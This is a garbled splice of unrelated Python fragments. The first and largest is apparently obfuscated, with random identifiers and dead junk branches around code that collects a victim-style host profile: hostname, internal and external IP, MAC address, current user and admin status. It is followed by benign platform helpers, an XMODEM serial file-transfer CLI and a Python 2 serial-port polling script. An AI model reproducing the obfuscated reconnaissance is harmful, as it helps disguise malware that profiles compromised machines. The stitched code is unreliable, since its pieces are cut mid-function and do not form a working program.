qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl else: qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb: for YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: if TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL' elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL: TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl else: qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz for YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: if TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL' elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL: TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl else: qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL else: qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = os.getuid( ) == 0 hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ = 'xoZQBMcndTgxwsxZwrYIlzlGoUuxGeYKaXnfdyLZswQsCvTuUNhTdPqonilbtewb' KoollRiRYsMmDdapYJxFgkcwotMNiksBEeujXtgmGBtzdyPMpwOxzKFmIVpiLDsA = 'WDhOcoawnNFhIoIZXMYMXeQTkIKjpMSEKAkgwiuSEsOdcppJxAycInSKfKFcmdhG' UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe' if hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ == KoollRiRYsMmDdapYJxFgkcwotMNiksBEeujXtgmGBtzdyPMpwOxzKFmIVpiLDsA: UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe' UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ else: UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe' UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'xoZQBMcndTgxwsxZwrYIlzlGoUuxGeYKaXnfdyLZswQsCvTuUNhTdPqonilbtewb' AwaJYeQvvevEFKBTbYeocorbXQJBkTJMtOvszsLjmbTOAmVyZilhhKxIUbhNjkJE = 'Yes' if YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH else 'No' tsGIwUBQvqdyvzpwcMKJScAaUtiCHMmSZwUBvyyMqozjDkOKsVirndANRUOzijIO = 'qdOkGfXGsIWvbrJyjGcrQvHVpSmKglTqPeRwtsbYAQILQrMmjASeKtNhoSfiXyUP' qNNDRqQRmCjThbzOPxqMHDXOOmjAJtQizwBRsRAfSWIVrfrnXDUFcKCsKEHftGVq = 'iXDlbnSMZbwPFfRLHQZBccTADiEGPZbeVLzHnvkFfiNYoKWtimHJyoFtyAPtEMVP' eNrsEZcKGBGfyPPYehMiLdFsWwcrCOJQkvAWcANdqIIODdfNlUhysfJydUTKKZcV = 'HDBKyJMmeYLwGJpQvbsRdPldWXWtVORmZOFneEiCGJFEtmtFuptyWcKzqGuGFfxV' VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz = 'stMIFFzZYcCetvUMoFnBhJTZUhPoLNinQxBQIVJulIdlOVfUvvqjMhlAqvxvduns' zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ = 'qupMezmhZfuigRmIxNhpsrzkcxdGODJpKzQsqhBRlJsOgPVPEaqAzTtLKdcSbZrO' XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq = 'KrJvFiqOPotyiKceeiCtzbqbZMSHBtvYoihPMPvpfMAaIpAwEIriZAerlGqkDvMe' if eNrsEZcKGBGfyPPYehMiLdFsWwcrCOJQkvAWcANdqIIODdfNlUhysfJydUTKKZcV == VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz: for XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq in zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ: if XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq == VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz: zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ = tsGIwUBQvqdyvzpwcMKJScAaUtiCHMmSZwUBvyyMqozjDkOKsVirndANRUOzijIO else: VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz = qNNDRqQRmCjThbzOPxqMHDXOOmjAJtQizwBRsRAfSWIVrfrnXDUFcKCsKEHftGVq YcjCIOfyDUUlDeHtmHmZazcQVEStCyRwbJSZSXlNbcZbzKgsUYcYBvMmOIkKMleU = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( NZsYFDKMHpUmSaGYrBcWqOFwoMZcfRMzYtbBkeijafTNyxCkpHRElHRSJUxaKiNO, processor, architecture, iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt, OETsJlKMCqNoRhxusurinCctmsKQTACStCkijsTscGcZUhWlfCmhsIYJXXjwWxEv, cwOsXijxgvcvFPWhpEAcknlYtRnhIBZOTpmcyLSUAdInbTUnqErjJIxVKoFeCMKh, cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi, APsxgfOBoBTdWJdhRGihnSCpHNnrRxFlkNkUyBNTcPyIdwyUsPcMRNdTxtaFYAyN, lgqWchVqcTlLxCZGqHcViwyoDiczHDCLSBTrRFRvyEzQqXDIxLudNtJGjBwOfxDX, AwaJYeQvvevEFKBTbYeocorbXQJBkTJMtOvszsLjmbTOAmVyZilhhKxIUbhNjkJE) return YcjCIOfyDUUlDeHtmHmZazcQVEStCyRwbJSZSXlNbcZbzKgsUYcYBvMmOIkKMleU
def isLinux(): return platform.startswith('linux') def isOSXBundle(): return isOSX() and (os.path.abspath('.').find('.app') != -1)
def run(): '''Run the main entry point for sending and receiving files.''' import argparse import serial import sys platform = sys.platform.lower() if platform.startswith('win'): default_port = 'COM1' else: default_port = '/dev/ttyS0' parser = argparse.ArgumentParser() parser.add_argument('-p', '--port', default=default_port, help='serial port') parser.add_argument('-r', '--rate', default=9600, type=int, help='baud rate') parser.add_argument('-b', '--bytesize', default=serial.EIGHTBITS, help='serial port transfer byte size') parser.add_argument('-P', '--parity', default=serial.PARITY_NONE, help='serial port parity') parser.add_argument('-S', '--stopbits', default=serial.STOPBITS_ONE, help='serial port stop bits') parser.add_argument('-m', '--mode', default='xmodem', help='XMODEM mode (xmodem, xmodem1k)') parser.add_argument('-t', '--timeout', default=30, type=int, help='I/O timeout in seconds') subparsers = parser.add_subparsers(dest='subcommand') send_parser = subparsers.add_parser('send') send_parser.add_argument('filename', nargs='?', help='filename to send, empty reads from stdin') recv_parser = subparsers.add_parser('recv') recv_parser.add_argument('filename', nargs='?', help='filename to receive, empty sends to stdout') options = parser.parse_args() if options.subcommand == 'send': return _send(options.mode, options.filename, options.timeout) elif options.subcommand == 'recv': return _recv(options.mode, options.filename, options.timeout)
result.append(port) except (OSError, serial.SerialException): pass return result result = serial_ports() platform =platform.system() print platform if not result: print"No Serialports available" print"Press Ctrl+C to close" else: if platform.startswith('Win'): print"Available Serialports" print result var=input("Please select your Serialport:COM") var2='COM'+str(var) print"Connecting to "+var2 ser= serial.Serial(var2,9600,timeout=1) time.sleep(2) print"Connected" print"Press Ctrl+C to close" while 1: print "Getting Data" ser.write("t") x=ser.read(10) print x